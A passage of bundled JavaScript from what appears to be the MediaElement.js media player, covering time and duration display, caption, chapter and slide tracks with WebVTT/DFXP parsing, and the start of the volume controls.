parseInt(t.hovered.getAttribute('pos'), 10); pos = isNaN(pos) ? 0 : pos; var hoverScaleX = pos / tW - handlePos / tW; t.hovered.style.left = handlePos + 'px'; t.setTransformStyle(t.hovered, 'scaleX(' + hoverScaleX + ')'); if (hoverScaleX >= 0) { (0, _dom.removeClass)(t.hovered, 'negative'); } else { (0, _dom.addClass)(t.hovered, 'negative'); } } } } } }); },{"16":16,"2":2,"25":25,"26":26,"30":30,"5":5}],12:[function(_dereq_,module,exports){ 'use strict'; var _document = _dereq_(2); var _document2 = _interopRequireDefault(_document); var _player = _dereq_(16); var _player2 = _interopRequireDefault(_player); var _time = _dereq_(30); var _dom = _dereq_(26); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } Object.assign(_player.config, { duration: 0, timeAndDurationSeparator: '<span> | </span>' }); Object.assign(_player2.default.prototype, { buildcurrent: function buildcurrent(player, controls, layers, media) { var t = this, time = _document2.default.createElement('div'); time.className = t.options.classPrefix + 'time'; time.setAttribute('role', 'timer'); time.setAttribute('aria-live', 'off'); time.innerHTML = '<span class="' + t.options.classPrefix + 'currenttime">' + (0, _time.secondsToTimeCode)(0, player.options.alwaysShowHours, player.options.showTimecodeFrameCount, player.options.framesPerSecond, player.options.secondsDecimalLength, player.options.timeFormat) + '</span>'; t.addControlElement(time, 'current'); player.updateCurrent(); t.updateTimeCallback = function () { if (t.controlsAreVisible) { player.updateCurrent(); } }; media.addEventListener('timeupdate', t.updateTimeCallback); }, cleancurrent: function cleancurrent(player, controls, layers, media) { media.removeEventListener('timeupdate', player.updateTimeCallback); }, buildduration: function buildduration(player, controls, layers, media) { var t = this, currTime = controls.lastChild.querySelector('.' + t.options.classPrefix + 'currenttime'); if (currTime) { controls.querySelector('.' + t.options.classPrefix + 'time').innerHTML += t.options.timeAndDurationSeparator + '<span class="' + t.options.classPrefix + 'duration">' + ((0, _time.secondsToTimeCode)(t.options.duration, t.options.alwaysShowHours, t.options.showTimecodeFrameCount, t.options.framesPerSecond, t.options.secondsDecimalLength, t.options.timeFormat) + '</span>'); } else { if (controls.querySelector('.' + t.options.classPrefix + 'currenttime')) { (0, _dom.addClass)(controls.querySelector('.' + t.options.classPrefix + 'currenttime').parentNode, t.options.classPrefix + 'currenttime-container'); } var duration = _document2.default.createElement('div'); duration.className = t.options.classPrefix + 'time ' + t.options.classPrefix + 'duration-container'; duration.innerHTML = '<span class="' + t.options.classPrefix + 'duration">' + ((0, _time.secondsToTimeCode)(t.options.duration, t.options.alwaysShowHours, t.options.showTimecodeFrameCount, t.options.framesPerSecond, t.options.secondsDecimalLength, t.options.timeFormat) + '</span>'); t.addControlElement(duration, 'duration'); } t.updateDurationCallback = function () { if (t.controlsAreVisible) { player.updateDuration(); } }; media.addEventListener('timeupdate', t.updateDurationCallback); }, cleanduration: function cleanduration(player, controls, layers, media) { media.removeEventListener('timeupdate', player.updateDurationCallback); }, updateCurrent: function updateCurrent() { var t = this; var currentTime = t.getCurrentTime(); if (isNaN(currentTime)) { currentTime = 0; } var timecode = (0, _time.secondsToTimeCode)(currentTime, t.options.alwaysShowHours, t.options.showTimecodeFrameCount, t.options.framesPerSecond, t.options.secondsDecimalLength, t.options.timeFormat); if (timecode.length > 5) { (0, _dom.addClass)(t.getElement(t.container), t.options.classPrefix + 'long-video'); } else { (0, _dom.removeClass)(t.getElement(t.container), t.options.classPrefix + 'long-video'); } if (t.getElement(t.controls).querySelector('.' + t.options.classPrefix + 'currenttime')) { t.getElement(t.controls).querySelector('.' + t.options.classPrefix + 'currenttime').innerText = timecode; } }, updateDuration: function updateDuration() { var t = this; var duration = t.getDuration(); if (t.media !== undefined && (isNaN(duration) || duration === Infinity || duration < 0)) { t.media.duration = t.options.duration = duration = 0; } if (t.options.duration > 0) { duration = t.options.duration; } var timecode = (0, _time.secondsToTimeCode)(duration, t.options.alwaysShowHours, t.options.showTimecodeFrameCount, t.options.framesPerSecond, t.options.secondsDecimalLength, t.options.timeFormat); if (timecode.length > 5) { (0, _dom.addClass)(t.getElement(t.container), t.options.classPrefix + 'long-video'); } else { (0, _dom.removeClass)(t.getElement(t.container), t.options.classPrefix + 'long-video'); } if (t.getElement(t.controls).querySelector('.' + t.options.classPrefix + 'duration') && duration > 0) { t.getElement(t.controls).querySelector('.' + t.options.classPrefix + 'duration').innerHTML = timecode; } } }); },{"16":16,"2":2,"26":26,"30":30}],13:[function(_dereq_,module,exports){ 'use strict'; var _document = _dereq_(2); var _document2 = _interopRequireDefault(_document); var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); var _i18n = _dereq_(5); var _i18n2 = _interopRequireDefault(_i18n); var _player = _dereq_(16); var _player2 = _interopRequireDefault(_player); var _time = _dereq_(30); var _general = _dereq_(27); var _dom = _dereq_(26); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } Object.assign(_player.config, { startLanguage: '', tracksText: null, chaptersText: null, tracksAriaLive: false, hideCaptionsButtonWhenEmpty: true, toggleCaptionsButtonWhenOnlyOne: false, slidesSelector: '' }); Object.assign(_player2.default.prototype, { hasChapters: false, buildtracks: function buildtracks(player, controls, layers, media) { this.findTracks(); if (!player.tracks.length && (!player.trackFiles || !player.trackFiles.length === 0)) { return; } var t = this, attr = t.options.tracksAriaLive ? ' role="log" aria-live="assertive" aria-atomic="false"' : '', tracksTitle = (0, _general.isString)(t.options.tracksText) ? t.options.tracksText : _i18n2.default.t('mejs.captions-subtitles'), chaptersTitle = (0, _general.isString)(t.options.chaptersText) ? t.options.chaptersText : _i18n2.default.t('mejs.captions-chapters'), total = player.trackFiles === null ? player.tracks.length : player.trackFiles.length; if (t.domNode.textTracks) { for (var i = t.domNode.textTracks.length - 1; i >= 0; i--) { t.domNode.textTracks[i].mode = 'hidden'; } } t.cleartracks(player); player.captions = _document2.default.createElement('div'); player.captions.className = t.options.classPrefix + 'captions-layer ' + t.options.classPrefix + 'layer'; player.captions.innerHTML = '<div class="' + t.options.classPrefix + 'captions-position ' + t.options.classPrefix + 'captions-position-hover"' + attr + '>' + ('<span class="' + t.options.classPrefix + 'captions-text"></span>') + '</div>'; player.captions.style.display = 'none'; layers.insertBefore(player.captions, layers.firstChild); player.captionsText = player.captions.querySelector('.' + t.options.classPrefix + 'captions-text'); player.captionsButton = _document2.default.createElement('div'); player.captionsButton.className = t.options.classPrefix + 'button ' + t.options.classPrefix + 'captions-button'; player.captionsButton.innerHTML = '<button type="button" aria-controls="' + t.id + '" title="' + tracksTitle + '" aria-label="' + tracksTitle + '" tabindex="0"></button>' + ('<div class="' + t.options.classPrefix + 'captions-selector ' + t.options.classPrefix + 'offscreen">') + ('<ul class="' + t.options.classPrefix + 'captions-selector-list">') + ('<li class="' + t.options.classPrefix + 'captions-selector-list-item">') + ('<input type="radio" class="' + t.options.classPrefix + 'captions-selector-input" ') + ('name="' + player.id + '_captions" id="' + player.id + '_captions_none" ') + 'value="none" checked disabled>' + ('<label class="' + t.options.classPrefix + 'captions-selector-label ') + (t.options.classPrefix + 'captions-selected" ') + ('for="' + player.id + '_captions_none">' + _i18n2.default.t('mejs.none') + '</label>') + '</li>' + '</ul>' + '</div>'; t.addControlElement(player.captionsButton, 'tracks'); player.captionsButton.querySelector('.' + t.options.classPrefix + 'captions-selector-input').disabled = false; player.chaptersButton = _document2.default.createElement('div'); player.chaptersButton.className = t.options.classPrefix + 'button ' + t.options.classPrefix + 'chapters-button'; player.chaptersButton.innerHTML = '<button type="button" aria-controls="' + t.id + '" title="' + chaptersTitle + '" aria-label="' + chaptersTitle + '" tabindex="0"></button>' + ('<div class="' + t.options.classPrefix + 'chapters-selector ' + t.options.classPrefix + 'offscreen">') + ('<ul class="' + t.options.classPrefix + 'chapters-selector-list"></ul>') + '</div>'; var subtitleCount = 0; for (var _i = 0; _i < total; _i++) { var kind = player.tracks[_i].kind, src = player.tracks[_i].src; if (src.trim()) { if (kind === 'subtitles' || kind === 'captions') { subtitleCount++; } else if (kind === 'chapters' && !controls.querySelector('.' + t.options.classPrefix + 'chapter-selector')) { player.captionsButton.parentNode.insertBefore(player.chaptersButton, player.captionsButton); } } } player.trackToLoad = -1; player.selectedTrack = null; player.isLoadingTrack = false; for (var _i2 = 0; _i2 < total; _i2++) { var _kind = player.tracks[_i2].kind; if (player.tracks[_i2].src.trim() && (_kind === 'subtitles' || _kind === 'captions')) { player.addTrackButton(player.tracks[_i2].trackId, player.tracks[_i2].srclang, player.tracks[_i2].label); } } player.loadNextTrack(); var inEvents = ['mouseenter', 'focusin'], outEvents = ['mouseleave', 'focusout']; if (t.options.toggleCaptionsButtonWhenOnlyOne && subtitleCount === 1) { player.captionsButton.addEventListener('click', function (e) { var trackId = 'none'; if (player.selectedTrack === null) { trackId = player.tracks[0].trackId; } var keyboard = e.keyCode || e.which; player.setTrack(trackId, typeof keyboard !== 'undefined'); }); } else { var labels = player.captionsButton.querySelectorAll('.' + t.options.classPrefix + 'captions-selector-label'), captions = player.captionsButton.querySelectorAll('input[type=radio]'); for (var _i3 = 0, _total = inEvents.length; _i3 < _total; _i3++) { player.captionsButton.addEventListener(inEvents[_i3], function () { (0, _dom.removeClass)(this.querySelector('.' + t.options.classPrefix + 'captions-selector'), t.options.classPrefix + 'offscreen'); }); } for (var _i4 = 0, _total2 = outEvents.length; _i4 < _total2; _i4++) { player.captionsButton.addEventListener(outEvents[_i4], function () { (0, _dom.addClass)(this.querySelector('.' + t.options.classPrefix + 'captions-selector'), t.options.classPrefix + 'offscreen'); }); } for (var _i5 = 0, _total3 = captions.length; _i5 < _total3; _i5++) { captions[_i5].addEventListener('click', function (e) { var keyboard = e.keyCode || e.which; player.setTrack(this.value, typeof keyboard !== 'undefined'); }); } for (var _i6 = 0, _total4 = labels.length; _i6 < _total4; _i6++) { labels[_i6].addEventListener('click', function (e) { var radio = (0, _dom.siblings)(this, function (el) { return el.tagName === 'INPUT'; })[0], event = (0, _general.createEvent)('click', radio); radio.dispatchEvent(event); e.preventDefault(); }); } player.captionsButton.addEventListener('keydown', function (e) { e.stopPropagation(); }); } for (var _i7 = 0, _total5 = inEvents.length; _i7 < _total5; _i7++) { player.chaptersButton.addEventListener(inEvents[_i7], function () { if (this.querySelector('.' + t.options.classPrefix + 'chapters-selector-list').children.length) { (0, _dom.removeClass)(this.querySelector('.' + t.options.classPrefix + 'chapters-selector'), t.options.classPrefix + 'offscreen'); } }); } for (var _i8 = 0, _total6 = outEvents.length; _i8 < _total6; _i8++) { player.chaptersButton.addEventListener(outEvents[_i8], function () { (0, _dom.addClass)(this.querySelector('.' + t.options.classPrefix + 'chapters-selector'), t.options.classPrefix + 'offscreen'); }); } player.chaptersButton.addEventListener('keydown', function (e) { e.stopPropagation(); }); if (!player.options.alwaysShowControls) { player.getElement(player.container).addEventListener('controlsshown', function () { (0, _dom.addClass)(player.getElement(player.container).querySelector('.' + t.options.classPrefix + 'captions-position'), t.options.classPrefix + 'captions-position-hover'); }); player.getElement(player.container).addEventListener('controlshidden', function () { if (!media.paused) { (0, _dom.removeClass)(player.getElement(player.container).querySelector('.' + t.options.classPrefix + 'captions-position'), t.options.classPrefix + 'captions-position-hover'); } }); } else { (0, _dom.addClass)(player.getElement(player.container).querySelector('.' + t.options.classPrefix + 'captions-position'), t.options.classPrefix + 'captions-position-hover'); } media.addEventListener('timeupdate', function () { player.displayCaptions(); }); if (player.options.slidesSelector !== '') { player.slidesContainer = _document2.default.querySelectorAll(player.options.slidesSelector); media.addEventListener('timeupdate', function () { player.displaySlides(); }); } }, cleartracks: function cleartracks(player) { if (player) { if (player.captions) { player.captions.remove(); } if (player.chapters) { player.chapters.remove(); } if (player.captionsText) { player.captionsText.remove(); } if (player.captionsButton) { player.captionsButton.remove(); } if (player.chaptersButton) { player.chaptersButton.remove(); } } }, rebuildtracks: function rebuildtracks() { var t = this; t.findTracks(); t.buildtracks(t, t.getElement(t.controls), t.getElement(t.layers), t.media); }, findTracks: function findTracks() { var t = this, tracktags = t.trackFiles === null ? t.node.querySelectorAll('track') : t.trackFiles, total = tracktags.length; t.tracks = []; for (var i = 0; i < total; i++) { var track = tracktags[i], srclang = track.getAttribute('srclang').toLowerCase() || '', trackId = t.id + '_track_' + i + '_' + track.getAttribute('kind') + '_' + srclang; t.tracks.push({ trackId: trackId, srclang: srclang, src: track.getAttribute('src'), kind: track.getAttribute('kind'), label: track.getAttribute('label') || '', entries: [], isLoaded: false }); } }, setTrack: function setTrack(trackId, setByKeyboard) { var t = this, radios = t.captionsButton.querySelectorAll('input[type="radio"]'), captions = t.captionsButton.querySelectorAll('.' + t.options.classPrefix + 'captions-selected'), track = t.captionsButton.querySelector('input[value="' + trackId + '"]'); for (var i = 0, total = radios.length; i < total; i++) { radios[i].checked = false; } for (var _i9 = 0, _total7 = captions.length; _i9 < _total7; _i9++) { (0, _dom.removeClass)(captions[_i9], t.options.classPrefix + 'captions-selected'); } track.checked = true; var labels = (0, _dom.siblings)(track, function (el) { return (0, _dom.hasClass)(el, t.options.classPrefix + 'captions-selector-label'); }); for (var _i10 = 0, _total8 = labels.length; _i10 < _total8; _i10++) { (0, _dom.addClass)(labels[_i10], t.options.classPrefix + 'captions-selected'); } if (trackId === 'none') { t.selectedTrack = null; (0, _dom.removeClass)(t.captionsButton, t.options.classPrefix + 'captions-enabled'); } else { for (var _i11 = 0, _total9 = t.tracks.length; _i11 < _total9; _i11++) { var _track = t.tracks[_i11]; if (_track.trackId === trackId) { if (t.selectedTrack === null) { (0, _dom.addClass)(t.captionsButton, t.options.classPrefix + 'captions-enabled'); } t.selectedTrack = _track; t.captions.setAttribute('lang', t.selectedTrack.srclang); t.displayCaptions(); break; } } } var event = (0, _general.createEvent)('captionschange', t.media); event.detail.caption = t.selectedTrack; t.media.dispatchEvent(event); if (!setByKeyboard) { setTimeout(function () { t.getElement(t.container).focus(); }, 500); } }, loadNextTrack: function loadNextTrack() { var t = this; t.trackToLoad++; if (t.trackToLoad < t.tracks.length) { t.isLoadingTrack = true; t.loadTrack(t.trackToLoad); } else { t.isLoadingTrack = false; t.checkForTracks(); } }, loadTrack: function loadTrack(index) { var t = this, track = t.tracks[index]; if (track !== undefined && (track.src !== undefined || track.src !== "")) { (0, _dom.ajax)(track.src, 'text', function (d) { track.entries = typeof d === 'string' && /<tt\s+xml/ig.exec(d) ? _mejs2.default.TrackFormatParser.dfxp.parse(d) : _mejs2.default.TrackFormatParser.webvtt.parse(d); track.isLoaded = true; t.enableTrackButton(track); t.loadNextTrack(); if (track.kind === 'slides') { t.setupSlides(track); } else if (track.kind === 'chapters' && !t.hasChapters) { t.drawChapters(track); t.hasChapters = true; } }, function () { t.removeTrackButton(track.trackId); t.loadNextTrack(); }); } }, enableTrackButton: function enableTrackButton(track) { var t = this, lang = track.srclang, target = _document2.default.getElementById('' + track.trackId); if (!target) { return; } var label = track.label; if (label === '') { label = _i18n2.default.t(_mejs2.default.language.codes[lang]) || lang; } target.disabled = false; var targetSiblings = (0, _dom.siblings)(target, function (el) { return (0, _dom.hasClass)(el, t.options.classPrefix + 'captions-selector-label'); }); for (var i = 0, total = targetSiblings.length; i < total; i++) { targetSiblings[i].innerHTML = label; } if (t.options.startLanguage === lang) { target.checked = true; var event = (0, _general.createEvent)('click', target); target.dispatchEvent(event); } }, removeTrackButton: function removeTrackButton(trackId) { var element = _document2.default.getElementById('' + trackId); if (element) { var button = element.closest('li'); if (button) { button.remove(); } } }, addTrackButton: function addTrackButton(trackId, lang, label) { var t = this; if (label === '') { label = _i18n2.default.t(_mejs2.default.language.codes[lang]) || lang; } t.captionsButton.querySelector('ul').innerHTML += '<li class="' + t.options.classPrefix + 'captions-selector-list-item">' + ('<input type="radio" class="' + t.options.classPrefix + 'captions-selector-input" ') + ('name="' + t.id + '_captions" id="' + trackId + '" value="' + trackId + '" disabled>') + ('<label class="' + t.options.classPrefix + 'captions-selector-label"') + ('for="' + trackId + '">' + label + ' (loading)</label>') + '</li>'; }, checkForTracks: function checkForTracks() { var t = this; var hasSubtitles = false; if (t.options.hideCaptionsButtonWhenEmpty) { for (var i = 0, total = t.tracks.length; i < total; i++) { var kind = t.tracks[i].kind; if ((kind === 'subtitles' || kind === 'captions') && t.tracks[i].isLoaded) { hasSubtitles = true; break; } } t.captionsButton.style.display = hasSubtitles ? '' : 'none'; t.setControlsSize(); } }, displayCaptions: function displayCaptions() { if (this.tracks === undefined) { return; } var t = this, track = t.selectedTrack, sanitize = function sanitize(html) { var div = _document2.default.createElement('div'); div.innerHTML = html; var scripts = div.getElementsByTagName('script'); var i = scripts.length; while (i--) { scripts[i].remove(); } var allElements = div.getElementsByTagName('*'); for (var _i12 = 0, n = allElements.length; _i12 < n; _i12++) { var attributesObj = allElements[_i12].attributes, attributes = Array.prototype.slice.call(attributesObj); for (var j = 0, total = attributes.length; j < total; j++) { if (attributes[j].name.startsWith('on') || attributes[j].value.startsWith('javascript')) { allElements[_i12].remove(); } else if (attributes[j].name === 'style') { allElements[_i12].removeAttribute(attributes[j].name); } } } return div.innerHTML; }; if (track !== null && track.isLoaded) { var i = t.searchTrackPosition(track.entries, t.media.currentTime); if (i > -1) { var text = track.entries[i].text; if (typeof t.options.captionTextPreprocessor === 'function') text = t.options.captionTextPreprocessor(text); t.captionsText.innerHTML = sanitize(text); t.captionsText.className = t.options.classPrefix + 'captions-text ' + (track.entries[i].identifier || ''); t.captions.style.display = ''; t.captions.style.height = '0px'; return; } t.captions.style.display = 'none'; } else { t.captions.style.display = 'none'; } }, setupSlides: function setupSlides(track) { var t = this; t.slides = track; t.slides.entries.imgs = [t.slides.entries.length]; t.showSlide(0); }, showSlide: function showSlide(index) { var _this = this; var t = this; if (t.tracks === undefined || t.slidesContainer === undefined) { return; } var url = t.slides.entries[index].text; var img = t.slides.entries[index].imgs; if (img === undefined || img.fadeIn === undefined) { var image = _document2.default.createElement('img'); image.src = url; image.addEventListener('load', function () { var self = _this, visible = (0, _dom.siblings)(self, function (el) { return visible(el); }); self.style.display = 'none'; t.slidesContainer.innerHTML += self.innerHTML; (0, _dom.fadeIn)(t.slidesContainer.querySelector(image)); for (var i = 0, total = visible.length; i < total; i++) { (0, _dom.fadeOut)(visible[i], 400); } }); t.slides.entries[index].imgs = img = image; } else if (!(0, _dom.visible)(img)) { var _visible = (0, _dom.siblings)(self, function (el) { return _visible(el); }); (0, _dom.fadeIn)(t.slidesContainer.querySelector(img)); for (var i = 0, total = _visible.length; i < total; i++) { (0, _dom.fadeOut)(_visible[i]); } } }, displaySlides: function displaySlides() { var t = this; if (this.slides === undefined) { return; } var slides = t.slides, i = t.searchTrackPosition(slides.entries, t.media.currentTime); if (i > -1) { t.showSlide(i); } }, drawChapters: function drawChapters(chapters) { var t = this, total = chapters.entries.length; if (!total) { return; } t.chaptersButton.querySelector('ul').innerHTML = ''; for (var i = 0; i < total; i++) { t.chaptersButton.querySelector('ul').innerHTML += '<li class="' + t.options.classPrefix + 'chapters-selector-list-item" ' + 'role="menuitemcheckbox" aria-live="polite" aria-disabled="false" aria-checked="false">' + ('<input type="radio" class="' + t.options.classPrefix + 'captions-selector-input" ') + ('name="' + t.id + '_chapters" id="' + t.id + '_chapters_' + i + '" value="' + chapters.entries[i].start + '" disabled>') + ('<label class="' + t.options.classPrefix + 'chapters-selector-label"') + ('for="' + t.id + '_chapters_' + i + '">' + chapters.entries[i].text + '</label>') + '</li>'; } var radios = t.chaptersButton.querySelectorAll('input[type="radio"]'), labels = t.chaptersButton.querySelectorAll('.' + t.options.classPrefix + 'chapters-selector-label'); for (var _i13 = 0, _total10 = radios.length; _i13 < _total10; _i13++) { radios[_i13].disabled = false; radios[_i13].checked = false; radios[_i13].addEventListener('click', function (e) { var self = this, listItems = t.chaptersButton.querySelectorAll('li'), label = (0, _dom.siblings)(self, function (el) { return (0, _dom.hasClass)(el, t.options.classPrefix + 'chapters-selector-label'); })[0]; self.checked = true; self.parentNode.setAttribute('aria-checked', true); (0, _dom.addClass)(label, t.options.classPrefix + 'chapters-selected'); (0, _dom.removeClass)(t.chaptersButton.querySelector('.' + t.options.classPrefix + 'chapters-selected'), t.options.classPrefix + 'chapters-selected'); for (var _i14 = 0, _total11 = listItems.length; _i14 < _total11; _i14++) { listItems[_i14].setAttribute('aria-checked', false); } var keyboard = e.keyCode || e.which; if (typeof keyboard === 'undefined') { setTimeout(function () { t.getElement(t.container).focus(); }, 500); } t.media.setCurrentTime(parseFloat(self.value)); if (t.media.paused) { t.media.play(); } }); } for (var _i15 = 0, _total12 = labels.length; _i15 < _total12; _i15++) { labels[_i15].addEventListener('click', function (e) { var radio = (0, _dom.siblings)(this, function (el) { return el.tagName === 'INPUT'; })[0], event = (0, _general.createEvent)('click', radio); radio.dispatchEvent(event); e.preventDefault(); }); } }, searchTrackPosition: function searchTrackPosition(tracks, currentTime) { var lo = 0, hi = tracks.length - 1, mid = void 0, start = void 0, stop = void 0; while (lo <= hi) { mid = lo + hi >> 1; start = tracks[mid].start; stop = tracks[mid].stop; if (currentTime >= start && currentTime < stop) { return mid; } else if (start < currentTime) { lo = mid + 1; } else if (start > currentTime) { hi = mid - 1; } } return -1; } }); _mejs2.default.language = { codes: { af: 'mejs.afrikaans', sq: 'mejs.albanian', ar: 'mejs.arabic', be: 'mejs.belarusian', bg: 'mejs.bulgarian', ca: 'mejs.catalan', zh: 'mejs.chinese', 'zh-cn': 'mejs.chinese-simplified', 'zh-tw': 'mejs.chines-traditional', hr: 'mejs.croatian', cs: 'mejs.czech', da: 'mejs.danish', nl: 'mejs.dutch', en: 'mejs.english', et: 'mejs.estonian', fl: 'mejs.filipino', fi: 'mejs.finnish', fr: 'mejs.french', gl: 'mejs.galician', de: 'mejs.german', el: 'mejs.greek', ht: 'mejs.haitian-creole', iw: 'mejs.hebrew', hi: 'mejs.hindi', hu: 'mejs.hungarian', is: 'mejs.icelandic', id: 'mejs.indonesian', ga: 'mejs.irish', it: 'mejs.italian', ja: 'mejs.japanese', ko: 'mejs.korean', lv: 'mejs.latvian', lt: 'mejs.lithuanian', mk: 'mejs.macedonian', ms: 'mejs.malay', mt: 'mejs.maltese', no: 'mejs.norwegian', fa: 'mejs.persian', pl: 'mejs.polish', pt: 'mejs.portuguese', ro: 'mejs.romanian', ru: 'mejs.russian', sr: 'mejs.serbian', sk: 'mejs.slovak', sl: 'mejs.slovenian', es: 'mejs.spanish', sw: 'mejs.swahili', sv: 'mejs.swedish', tl: 'mejs.tagalog', th: 'mejs.thai', tr: 'mejs.turkish', uk: 'mejs.ukrainian', vi: 'mejs.vietnamese', cy: 'mejs.welsh', yi: 'mejs.yiddish' } }; _mejs2.default.TrackFormatParser = { webvtt: { pattern: /^((?:[0-9]{1,2}:)?[0-9]{2}:[0-9]{2}([,.][0-9]{1,3})?) --\> ((?:[0-9]{1,2}:)?[0-9]{2}:[0-9]{2}([,.][0-9]{3})?)(.*)$/, parse: function parse(trackText) { var lines = trackText.split(/\r?\n/), entries = []; var timecode = void 0, text = void 0, identifier = void 0; for (var i = 0, total = lines.length; i < total; i++) { timecode = this.pattern.exec(lines[i]); if (timecode && i < lines.length) { if (i - 1 >= 0 && lines[i - 1] !== '') { identifier = lines[i - 1]; } i++; text = lines[i]; i++; while (lines[i] !== '' && i < lines.length) { text = text + '\n' + lines[i]; i++; } text = text === null ? '' : text.trim().replace(/(\b(https?|ftp|file):\/\/[-A-Z0-9+&@#\/%?=~_|!:,.;]*[-A-Z0-9+&@#\/%=~_|])/ig, "<a href='$1' target='_blank'>$1</a>"); entries.push({ identifier: identifier, start: (0, _time.convertSMPTEtoSeconds)(timecode[1]) === 0 ? 0.200 : (0, _time.convertSMPTEtoSeconds)(timecode[1]), stop: (0, _time.convertSMPTEtoSeconds)(timecode[3]), text: text, settings: timecode[5] }); } identifier = ''; } return entries; } }, dfxp: { parse: function parse(trackText) { trackText = $(trackText).filter('tt'); var container = trackText.firstChild, lines = container.querySelectorAll('p'), styleNode = trackText.getElementById('' + container.attr('style')), entries = []; var styles = void 0; if (styleNode.length) { styleNode.removeAttribute('id'); var attributes = styleNode.attributes; if (attributes.length) { styles = {}; for (var i = 0, total = attributes.length; i < total; i++) { styles[attributes[i].name.split(":")[1]] = attributes[i].value; } } } for (var _i16 = 0, _total13 = lines.length; _i16 < _total13; _i16++) { var style = void 0, _temp = { start: null, stop: null, style: null, text: null }; if (lines.eq(_i16).attr('begin')) { _temp.start = (0, _time.convertSMPTEtoSeconds)(lines.eq(_i16).attr('begin')); } if (!_temp.start && lines.eq(_i16 - 1).attr('end')) { _temp.start = (0, _time.convertSMPTEtoSeconds)(lines.eq(_i16 - 1).attr('end')); } if (lines.eq(_i16).attr('end')) { _temp.stop = (0, _time.convertSMPTEtoSeconds)(lines.eq(_i16).attr('end')); } if (!_temp.stop && lines.eq(_i16 + 1).attr('begin')) { _temp.stop = (0, _time.convertSMPTEtoSeconds)(lines.eq(_i16 + 1).attr('begin')); } if (styles) { style = ''; for (var _style in styles) { style += _style + ':' + styles[_style] + ';'; } } if (style) { _temp.style = style; } if (_temp.start === 0) { _temp.start = 0.200; } _temp.text = lines.eq(_i16).innerHTML.trim().replace(/(\b(https?|ftp|file):\/\/[-A-Z0-9+&@#\/%?=~_|!:,.;]*[-A-Z0-9+&@#\/%=~_|])/ig, "<a href='$1' target='_blank'>$1</a>"); entries.push(_temp); } return entries; } } }; },{"16":16,"2":2,"26":26,"27":27,"30":30,"5":5,"7":7}],14:[function(_dereq_,module,exports){ 'use strict'; var _document = _dereq_(2); var _document2 = _interopRequireDefault(_document); var _player = _dereq_(16); var _player2 = _interopRequireDefault(_player); var _i18n = _dereq_(5); var _i18n2 = _interopRequireDefault(_i18n); var _constants = _dereq_(25); var _general = _dereq_(27); var _dom = _dereq_(26); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } Object.assign(_player.config, { muteText: null, unmuteText: null, allyVolumeControlText: null, hideVolumeOnTouchDevices: true, audioVolume: 'horizontal', videoVolume: 'vertical', startVolume: 0.8 }); Object.assign(_player2.default.prototype, { buildvolume: function buildvolume(player, controls, layers, media) { if ((_constants.IS_ANDROID || _constants.IS_IOS) && this.options.hideVolumeOnTouchDevices) { return; } var t = this, mode = t.isVideo ? t.options.videoVolume : t.options.audioVolume, muteText = (0, _general.isString)(t.options.muteText) ? t.options.muteText : _i18n2.default.t('mejs.mute'), unmuteText = (0, _general.isString)(t.options.unmuteText) ? t.options.unmuteText : _i18n2.default.t('mejs.unmute'), volumeControlText = (0, _general.isString)(t.options.allyVolumeControlText) ? t.options.allyVolumeControlText : _i18n2.default.t('mejs.volume-help-text'), mute = _document2.default.createElement('div'); mute.className = t.options.classPrefix + 'button ' + t.options.classPrefix + 'volume-button ' + t.options.classPrefix + 'mute'; mute.innerHTML = mode === 'horizontal' ? '<button type="button" aria-controls="' + t.id + '" title="' + muteText + '" aria-label="' + muteText + '" tabindex="0"></button>' : '<button type="button" aria-controls="' + t.id + '" title="' + muteText + '" aria-label="' + muteText + '" tabindex="0"></button>' + ('<a href="javascript:void(0);" class="' + t.options.classPrefix + 'volume-slider" ') + ('aria-label="' + _i18n2.default.t('mejs.volume-slider') + '" aria-valuemin="0" aria-valuemax="100" role="slider" ') + 'aria-orientation="vertical">' + ('<span class="' + t.options.classPrefix + 'offscreen">' + volumeControlText + '</span>') + ('<div class="' + t.options.classPrefix + 'volume-total">') + ('<div class="' + t.options.classPrefix + 'volume-current"></div>') + ('<div class="' + t.options.classPrefix + 'volume-handle"></div>') + '</div>' + '</a>'; t.addControlElement(mute, 'volume'); t.options.keyActions.push({ keys: [38], action: function action(player) { var volumeSlider = player.getElement(player.container).querySelector('.' + t.options.classPrefix + 'volume-slider'); if (volumeSlider && volumeSlider.matches(':focus')) { volumeSlider.style.display = 'block'; } if (player.isVideo) { player.showControls(); player.startControlsTimer(); } var newVolume = Math.min(player.volume + 0.1, 1); player.setVolume(newVolume); if (newVolume > 0) { player.setMuted(false); } } }, { keys: [40], action: function action(player) { var volumeSlider = player.getElement(player.container).querySelector('.' + t.options.classPrefix + 'volume-slider'); if (volumeSlider) { volumeSlider.style.display = 'block'; } if (player.isVideo) { player.showControls(); player.startControlsTimer(); } var newVolume = Math.max(player.volume - 0.1, 0); player.setVolume(newVolume); if (newVolume <= 0.1) { player.setMuted(true); } } }, { keys: [77], action: function action(player) { var volumeSlider = player.getElement(player.container).querySelector('.' + t.options.classPrefix + 'volume-slider'); if (volumeSlider) { volumeSlider.style.display = 'block'; } if (player.isVideo) { player.showControls(); player.startControlsTimer(); } if (player.media.muted) { player.setMuted(false); } else { player.setMuted(true); } } }); if (mode === 'horizontal') { var anchor = _document2.default.createElement('a'); anchor.className = t.options.classPrefix + 'horizontal-volume-slider'; anchor.href = 'javascript:void(0);'; anchor.setAttribute('aria-label', _i18n2.default.t('mejs.volume-slider')); anchor.setAttribute('aria-valuemin', 0); anchor.setAttribute('aria-valuemax', 100); anchor.setAttribute('aria-valuenow', 100); anchor.setAttribute('role', 'slider'); anchor.innerHTML += '<span class="' + t.options.classPrefix + 'offscreen">' + volumeControlText + '</span>' + ('<div class="' + t.options.classPrefix + 'horizontal-volume-total">') + ('<div class="' + t.options.classPrefix + 'horizontal-volume-current"></div>') + ('<div class="' + t.options.classPrefix + 'horizontal-volume-handle"></div>') + '</div>'; mute.parentNode.insertBefore(anchor, mute.nextSibling); } var mouseIsDown = false, mouseIsOver = false, modified = false, updateVolumeSlider = function updateVolumeSlider() { var volume = Math.floor(media.volume * 100); volumeSlider.setAttribute('aria-valuenow', volume); volumeSlider.setAttribute('aria-valuetext', volume + '%'); }; var volumeSlider = mode === 'vertical' ? t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'volume-slider') : 